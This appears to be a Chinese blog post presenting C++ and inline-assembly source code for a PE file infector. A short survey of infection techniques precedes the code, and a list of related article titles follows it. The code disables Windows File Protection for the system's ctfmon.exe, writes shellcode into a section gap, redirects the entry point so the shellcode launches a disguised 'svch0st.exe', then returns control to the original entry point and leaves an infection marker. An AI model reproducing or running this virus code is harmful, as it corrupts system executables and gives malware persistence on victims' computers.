PE文件的感染C++源代码

PE文件规定了可执行文件的格式,凡是符合此格式的文件都能在windows系统上运行。PE文件的格式暂且不谈,说一些感染PE文件的几种途径。

导入表感染。这个涉及比较复杂的操作,首先,要自行写一个dll文件,提供程序中对原dll引用的所有函数,然后增加一个节区,修改ImportAddress中的地址,使其指向新增加的节,这样,程序加载后,只要调用相关函数,就会先执行自己写的dll,执行完后,再跳转到原代码人口处执行。

导入地址感染。这个相对简单些,在PE文件头部分,IMAGE_OPTION_HEADER中有个ImportAddress目录,这个目录中只是一些jmp指令,我们可以修改jmp指令跳转的地址,使其指向在PE文件中我们新增加的代码。这需要在原PE文件中增加代码,PE文件在硬盘上默认200H字节对齐,一般存有空隙,如果代码量小,不用增加新节就可以插入代码。

修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

修改快捷方式文件。如果PE文件存在快捷方式,可以先行感染快捷方式,使快捷方式指向自己写的程序,自写程序启动后,再执行真正的PE文件。这种做法比较猥琐,而且不可靠。

#include <stdio.h>
#include<windows.h>
#include<TCHAR.h>
#include <shlwapi.h>

typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);

void KillSFC()
{
    WCHAR drvpath[MAX_PATH]={0};
   
    GetSystemDirectoryW(drvpath,sizeof(drvpath));
    wcscat(drvpath,L"\\ctfmon.exe");
    HMODULE hModule = LoadLibraryA("SFC.DLL");
    SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
    SfcFileExc(0,drvpath,-1);
  FreeLibrary(hModule);
    return;
}

int InjectPE()
{
  IMAGE_NT_HEADERS ntHeader;
  IMAGE_SECTION_HEADER SecInject;
  FILE* pFile;
  char systemPath[MAX_PATH];
  GetSystemDirectoryA(systemPath,sizeof(systemPath));
  char szFileName[MAX_PATH] = "\\ctfmon.exe";
  strcat(systemPath,szFileName);
  strcpy(szFileName,systemPath);
 
  KillSFC();

if((pFile=fopen(szFileName,"rb+"))==NULL)//打开文件失败则退出
  {
    printf("打开文件失败\n");
    return 0;
  }
 
  fseek(pFile,0x3c,0);
  DWORD pNT;
  fread(&pNT,sizeof(DWORD),1,pFile);
  fseek(pFile,pNT,SEEK_SET);
  fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //读取NT头
 
 
  //保存旧入口地址
  int sectionNum = ntHeader.FileHeader.NumberOfSections;
  int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
 
  goto shellend;
__asm
{
    shell:  PUSHAD
    MOV  EAX,DWORD PTR FS:[30H]  ;FS:[30H]指向PEB
    MOV  EAX,DWORD PTR [EAX+0CH]  ;获取PEB_LDR_DATA结构的指针
    MOV  EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
    MOV  EAX,DWORD PTR [EAX]  ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
    MOV  EAX,DWORD PTR [EAX+08H]  ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
    MOV  EBP,EAX    ;  将Kernel32.dll模块基址地址放至kernel中
    MOV  EAX,DWORD PTR [EAX+3CH]  ;指向IMAGE_NT_HEADERS
    MOV  EAX,DWORD PTR [EBP+EAX+120]  ;指向导出表
    MOV  ECX,[EBP+EAX+24]  ;取导出表中导出函数名字的数目
    MOV  EBX,[EBP+EAX+32]    ;取导出表中名字表的地址
    ADD  EBX,EBP
    PUSH WORD  PTR 0X00      ;构造GetProcAddress字符串
    PUSH DWORD PTR 0X73736572
    PUSH DWORD PTR 0X64644163
    PUSH DWORD PTR 0X6F725074
    PUSH WORD PTR 0X6547
    MOV  EDX,ESP
    PUSH ECX

F1: 
    MOV  EDI,EDX
    POP  ECX
    DEC  ECX
    TEST  ECX,ECX
    JZ  EXIT
    MOV  ESI,[EBX+ECX*4]   
    ADD  ESI,EBP
    PUSH  ECX
    MOV  ECX,15
    REPZ  CMPSB
    TEST  ECX,ECX
    JNZ  F1
 
    POP  ECX
    MOV  ESI,[EBP+EAX+36]  ;取得导出表中序号表的地址
    ADD  ESI,EBP
    MOVZX  ESI,WORD PTR[ESI+ECX*2]    ;取得进入函数地址表的序号
    MOV  EDI,[EBP+EAX+28]  ;取得函数地址表的地址
    ADD  EDI,EBP
    MOV  EDI,[EDI+ESI*4]    ;取得GetProcAddress函数的地址
    ADD  EDI,EBP     
    PUSH WORD PTR 0X00             
    PUSH DWORD PTR 0X636578  ;构造WinExec字符串
    PUSH DWORD PTR 0X456E6957
    PUSH ESP
    PUSH  EBP      ;
    CALL  EDI      ;调用GetProcAddress取得WinExec函数的地址
   
   
    XOR     EBX,EBX
    PUSH    EBX
    PUSH  WORD PTR 0X00    ;构造svch0st.exe符串.
    PUSH  DWORD PTR 0X455845 
    PUSH    DWORD PTR 0X2E545330
    PUSH  DWORD PTR 0X48435653
    PUSH  ESP
    CALL  EAX
EXIT:  ADD ESP,40      ;平衡堆栈
    POPAD
}
  shellend:
    char *pShell;
    int nShellLen;
   
__asm
{
    LEA EAX,shell
    MOV pShell,EAX;
    LEA EBX,shellend
    SUB EBX,EAX
    MOV nShellLen,EBX
}
 
int i;

for(i=0;i<sectionNum;i++)
  {
   fseek(pFile,pNT+248+i*40,SEEK_SET);  //定位到节表开始处
   fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
   DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5;
   WORD Sign;
   fseek(pFile,pInfect,SEEK_SET);
   fread(&Sign,sizeof(WORD),1,pFile);
   if(Sign == 0x1122)  //已经感染过,结束程序.
   {
     //MessageBoxA(NULL,"已感染过","msg",MB_OK);
     return 0;
   }
   if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
    break;
  }
 
if(i>=sectionNum)
{
  printf("找不到适合插入的节");
  return 0;
}
  DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;  
  DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代码的文件偏移
  /*修改入口点地址并写回NT HEADER中*/
  ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA; 
  fseek(pFile,pNT,SEEK_SET);
  fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);

SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //节属性改成可读、可执行
  SecInject.Misc.VirtualSize += nShellLen;
  fseek(pFile,pNT+248+i*40,SEEK_SET);  //文件指针移动到SecInject的首址
  fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //将修改后的节信息写回文件中

/*写入SHELLCODE*/
  fseek(pFile,lpCodeOffs,SEEK_SET);  //定位到添加代码的文件偏移
  for(i=0;i<nShellLen;i++)
  fputc(pShell[i],pFile);
  //SHELLCODE之后是跳转到原OEP的指令
     
  BYTE jmp = 0xE9;
  OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
  fwrite(&jmp, sizeof(jmp), 1, pFile);
  fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
  WORD InfectSign=0x1122; // 感染标志
  fwrite(&InfectSign,sizeof(WORD),1,pFile);
  fclose(pFile);
  //MessageBoxA(NULL,"注入成功","INFO",MB_OK);
  return 0;
}

PE文件的感染C++源代码相关推荐

  1. PE文件感染和内存驻留

    这次,作者将和大家一起讨论病毒的感染技术.另外,从本文开始,我们将陆续接触到一些病毒的高级编码技术.例如,内存驻留.EPO(入口点模糊)技术.加密技术.多态和变形等.通过这些高级技巧,你将进一步感受到 ...

  2. PE文件感染程序设计(PE病毒)

    PE文件感染程序设计 本文主要是记录一次PE病毒设计入门实验,查看了很多帖子,总也找不到系统的指导.也是出于记录一次具体的实验流程,给后来摸索的但是没有思路的朋友们一点点思路. 1. 设计思路 遍历当 ...

  3. win32virus汇编PE文件感染代码阅读

    win32virus汇编PE文件感染 预备: 选择好win32virus病毒和配置masm32环境(masm32环境搭建请参考:https://www.cnblogs.com/lsdb/p/74029 ...

  4. [系统安全] 四十一.APT系列(6)Python解析PE文件并获取时间戳判断来源区域

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  5. 【黑客免杀攻防】读书笔记6 - PE文件知识在免杀中的应用

    0x1 PE文件与免杀思路 基于PE文件结构知识的免杀技术主要用于对抗启发式扫描. 通过修改PE文件中的一些关键点来达到欺骗反病毒软件的目的. 修改区段名 1.1 移动PE文件头位置免杀 工具:PeC ...

  6. PE文件格式和ELF文件格式(上)----PE文件

    PE文件格式详解 作者:MSDN 译者:李马 Windows NT 3.1引入了一种名为PE文件格式的新可执行文件格式.PE文件格式的规范包含在了MSDN的CD中(Specs and Strategy ...

  7. c语言怎么判断文件类型,判断你的文件是否为合法的PE文件和应用类型

    作者:赖锋 源代码下载 可能很多的人都没有注意到一些事情,就是你的程序是不是合法的可运行的应用程序,例如一个文件只是把后缀改成 .exe 的形式就显示为应用程序的图标了! 你不想写一个根据后缀名就确定 ...

  8. Sophos 和 ReversingLabs 公开含2000万个 PE 文件的数据集

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本周,Sophos 和 ReversignLabs 公司宣布公开 SoReL-20M 数据库,内含2000万个 Windows 可移植 ...

  9. Black Hat | PE Tree:BlackBerry 发布PE文件开源逆向工具

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 BlackBerry 在今年举办的美国黑帽大会上为网络安全社区发布了一款新工具:PE Tree. PE Tree 是一款适用于 Lin ...

最新文章

  1. [其他]JAVA与C#的Socket通信
  2. JDK8特性--Stream(求和,过滤,排序)
  3. 你一定会用的18个linux网络监控工具
  4. 成为Web开发大师你必须知道的7件事情
  5. Oracle语句总结
  6. SAP Spartacus CmsPage的加载逻辑
  7. pppd 源码修改1
  8. php服务器怎么设置cookie,php服务器如何清除浏览器cookie
  9. 可控硅驱动芯片MOC3081/3061
  10. mysql数据库的基本使用流程
  11. 【前端】虚拟键盘的简单运用
  12. string中back函数和pop-back函数意思
  13. solidworks装配体改为柔性_软件技巧:大神整理的SolidWorks技巧总结
  14. ElasticSearch 全文搜索引擎
  15. RestTemplateConfig
  16. Java教程:如何申请Java开发支付宝支付中的必要参数(AppID,支付宝公钥,应用私钥)
  17. 想装吗 看看装B大全
  18. “网购懊悔权”为何与“机动车撞人负全责”一样扯淡?
  19. 【方案开发】RGB多色补光灯方案
  20. 全局基址 一级基址 二级基址 三级基址的关系

热门文章

  1. Win32ASM学习[20]:子程序
  2. VMware14.0 安装 CentOS7.2
  3. PHP checkdate()函数与示例
  4. 合页损失,铰链损失_多点铰链损失功能 使用Python的线性代数
  5. 搭建srs服务器(rtmp)
  6. 将10000H-1000FH这段空间当做栈,初始状态栈是空的,设置AX=001AH,BX=001BH,利用栈,交换AX和BX的数据
  7. Qt自定义对话框中边框阴影实现
  8. html中通过定位 实现下拉,JS+CSS相对定位实现的下拉菜单
  9. 红黑树概念及其相关操作的实现
  10. 每日一题:leetcode61.旋转链表